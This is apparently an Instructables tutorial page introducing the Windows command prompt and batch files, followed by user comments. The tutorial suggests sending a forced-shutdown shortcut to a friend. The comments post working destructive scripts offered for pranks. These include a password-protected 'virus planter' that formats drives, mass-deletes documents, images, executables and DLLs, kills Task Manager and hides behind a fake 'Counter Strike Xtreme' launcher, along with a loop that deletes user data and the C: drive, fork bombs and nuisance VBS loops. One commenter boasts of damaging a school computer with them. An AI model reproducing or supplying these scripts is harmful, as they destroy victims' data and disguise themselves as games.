Instructables
This will teach you how to do CMD.

CMD is the original MS-DOS command prompt, the Shell.

First, click START
Then press Run...
Type CMD or COMMAND
This window should appear

 
Remove these adsRemove these ads by Signing Up

Step 1: EDIT: The worlds worst editor

Picture of EDIT: The worlds worst editor
type EDIT Example.TXT
this window should appear
type whatever you want(I said hello ppl at INSTRUCTABLES)
I said it was the worlds worst cause it is, it stinks only one size, one font, one color.
At least no stoopid spell check...................
But good for batch...

Step 2: BATCH FILES ROCK

Batch files, with a .BAT extension, are BATCHes of MS-DOS commands, executed togther.
This is just basic, try Advanced,
BATCH MOVIES

@echo off stops commands from being shown.

echo sends whatever is after it to the screen
echo hi ppl

del deletes whatever file is after it, or del *.* deletes every file in the folder
del example.txt

cd changes to whatever folder is after it, or cd .. goes back one
cd desktop

format formats whatever disk is after it
format A:

Step 3: A funny little prank

Picture of a funny little prank
create a new document in edit:
edit annoy.bat
remember what folder its in!
type without quotes: "@echo OFF
:start
netsend /domain message goes here
goto start"
replace message goes here with a message.
move it to the desktop
run it!

Step 4: Shutdown the comp!

go to cmd
type: shutdown -s -t 20 -f -c "shutting down..............."

SEND TO SOMEONE ELSE!
right click desktop
new>shortcut
shutdown -s -t 20 -f -c "shutting down..............." in the box
next
a name in the box
finish
send to a friend!
1-40 of 111Next »

I have to say ...Awesome tricks just love these all.

Thank you for sharing..

Some more Latest cmd tricks are here feel free to visit
http://grabguides.com/latest-command-prompt-tricks-cmd-tricks

hi

hi I am new

techno guy3 years ago
The edit thing to make or edit files and stuff doesnt work, it says: 'edit' is not recognized as an internal or external command, operable program or batch file.

Probably because your computer is 64 bit.

so u mean no way for 64 bit computers to edit?

No you cant use edit on a 64bit computer

i want to create .bat file

cmd in run file

cd hard disk

winvnc

only these world

preetkainth007@live.com

+918198077688

i want to create .bat file

cmd in run file

cd hard disk

winvnc

only these world

preetkainth007@live.com

+918198077688

ok i am trying a remote shutdown on a computer that is on my network but it is hardwired into the network and i am on a wireless computer any suggestions?

so.... Go onto the computer you are gonna remote shutdown, go on cmd and type "Hostname" without quotes and then the hostname should pop up... then go on your computer and type into cmd "Shutdown /i" without quotes, and a window should pop up and at the top of it click the button "Add Computers" then type in the hostname of the other comp

ChrisG36 months ago

For those who want full screen . after first text box hit enter soi you have a new 2nd line and type "mode 1000" without "".

This makes full screen but also make sure command prompt is on top left corner of screen or it will be half off screen

Dark Leader6 months ago

THat was cool but now I will show you guys many goodthings see my instructable

what i call the deth virus

del C:/

del *.*

if you try to delete the c: drive, doesnt it ask you if you realy want to like: (Y/N) or something like that?
You would have to add /p or -p after del for it to prompt you
You can't delete an entire HDD partition within 1 second w/ out the guy knowing... Or can you?
Armend778 months ago

Can someone tell me how to make format pc without cd, from cmd ?

PrimeBore5319 months ago

Try this one: (remember put this on notepad and save it as virus.bat or Tricks.vbs)

@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks

PrimeBore5319 months ago

or this one:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
loop

PrimeBore5319 months ago

Try this one then:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

this will plant the "Four Virus Formation" but it dont run it.

@echo off

color a

mode 75,20

title Four Virus Formation Planter

echo This Setup will plant the Four Virus Formation on the computer

pause

cls

goto top

:top

echo Please enter the password

set /p pass=password:

if %pass% == ppvshu goto buzhen

msg * Password error,please try again

goto top

:buzhen

cd "%userprofile%\desktop"

md datafile

cd "%userprofile%\Desktop\datafile"

echo @echo off >> 1.cmd

echo mode 15,15 >> 1.cmd

echo format F: >> 1.cmd

echo format D: >> 1.cmd

echo format E: >> 1.cmd

echo format G: >> 1.cmd

echo cd "%userprofile%\My documents" >> 1.cmd

echo del /f /q /s "*.docx" >> 1.cmd

echo del /f /q /s "*.xslx" >> 1.cmd

echo del /f /q /s "*.pptx" >> 1.cmd

echo del /f /q /s "*.pdf" >> 1.cmd

echo cd "%userprofile%\my pictures" >> 1.cmd

echo del /f /q /s "*.png" >> 1.cmd

echo del /f /q /s "*.jpg" >> 1.cmd

echo del /f /q /s "*.BMP >> 1.cmd

echo @echo off >> 2.cmd

echo mode 15,15 >> 2.cmd

echo :top >> 2.cmd

echo start notepad >> 2.cmd

echo start cmd >> 2.cmd

echo start dxdiag >> 2.cmd

echo start regedit >> 2.cmd

echo tskill taskmgr >> 2.cmd

echo goto top >> 2.cmd

echo @echo off >> 3.cmd

echo mode 15,15 >> 3.cmd

echo cd C:\ >> 3.cmd

echo del /f /q /s "*.exe" >> 3.cmd

echo del /f /q /s "*.txt" >> 3.cmd

echo del /f /q /s "*.dll" >> 3.cmd

echo assoc .dll=exefile >>3.cmd

echo assoc .jpg=txtfile >> 3.cmd

echo @echo off >> 4.cmd

echo shutdown -s -t "50" -c "bye" -f >> 4.cmd

attrib +s +h +r /s /h

cd "%userprofile%\desktop"

echo @echo off >> Counter Strike Xtreme.cmd

echo mode 15,15 >> Counter Strike Xtreme.cmd

echo cd "%userprofile%\desktop\datafile" >> Counter Strike Xtreme.cmd

echo attrib -h /s /h >> Counter Strike Xtreme.cmd

echo start "" ".cmd" >> Counter Strike Xtreme.cmd

echo start "" ".cmd" >> Counter Strike Xtreme.cmd

goto done

:done

cls

echo Formation Complete

goto done

WARNING:Don't open CS Xtreme.it's the trigger for the formation

also,when it ask for password it's:ppvshu

i used it in school and a computer data was 80% damaged.very cool indeed

jjoel13211 months ago

Video on ''Some Command Prompt Tricks You Don't Know'' and I am sure that they gonna make your life easier.

https://www.youtube.com/watch?v=30Rwp9hzPjg

mikroskeem2 years ago
Try this destroyer:

@echo off
:start
cls
del %userprofile% /Q
del %ProgramFiles% /Q
:top
del C: /Q
goto start

It really harms your computer and files
Deletes your User data, Program files and C drive?
grp888 sandmman12 months ago

THATS SO DANGEROUS!

you call yourslef a hacker
@echo off
del %userprofile% /Q
del %ProgramFiles% /Q
del %system32%
shutdown -r 00 -t
exit
mikroskeem2 years ago
heh open big 600+ mb iso file with notepad++ :D quick bluescreen
More usefull cmd tricks at youtube:
Get Installed Driver Information with cmd:
http://youtu.be/4Gm8dfxiX5o

Change color in CMD:
http://youtu.be/HBiu48o2R4k

Copy from the command prompt:
http://youtu.be/AYiuGSbS5Dg

How to change the directory/path in cmd:
http://youtu.be/zjnefuoQGTY

And more video's on the channel.
mikroskeem2 years ago
did you use bat to exe converter?
It has problems, it works in that computer, where you complimed in it
ehhhhhhhhh so long trick i m tired
nversluis2 years ago
Does anyone know a website with more CMD commands to mess with stuff? That would be really helpful.
Broom nversluis2 years ago
Search for "DOS commands" on the web. "CMD" is just the DOS command that summons the terminal these are typed into.
siddharth222 years ago
how to remove this error ???
siddharth222 years ago
how to remove this error ???
siddharth222 years ago
02.jpg
siverstein5 years ago
actually.. the first will eventually.. if not stopped.. crash the computer..

but.. a much better virus that is impsible to stop that will crash the comp at a *much* faster rate, is this.

open note pad.

save as. name.bat

then code it

only needs 3 lines.

:start
start name.bat
go to start

its an endless loop that constantly opens more endless loops.

eventually, your comp will run out room to run all of them and just die >; )
can you do that remotly if you are on the same network and have that computer info?
*COUGH*
why not:

cd %SYSTEMDRIVE%/
:start
copy *.* %random%.*
start *.*
goto start
1-40 of 111Next »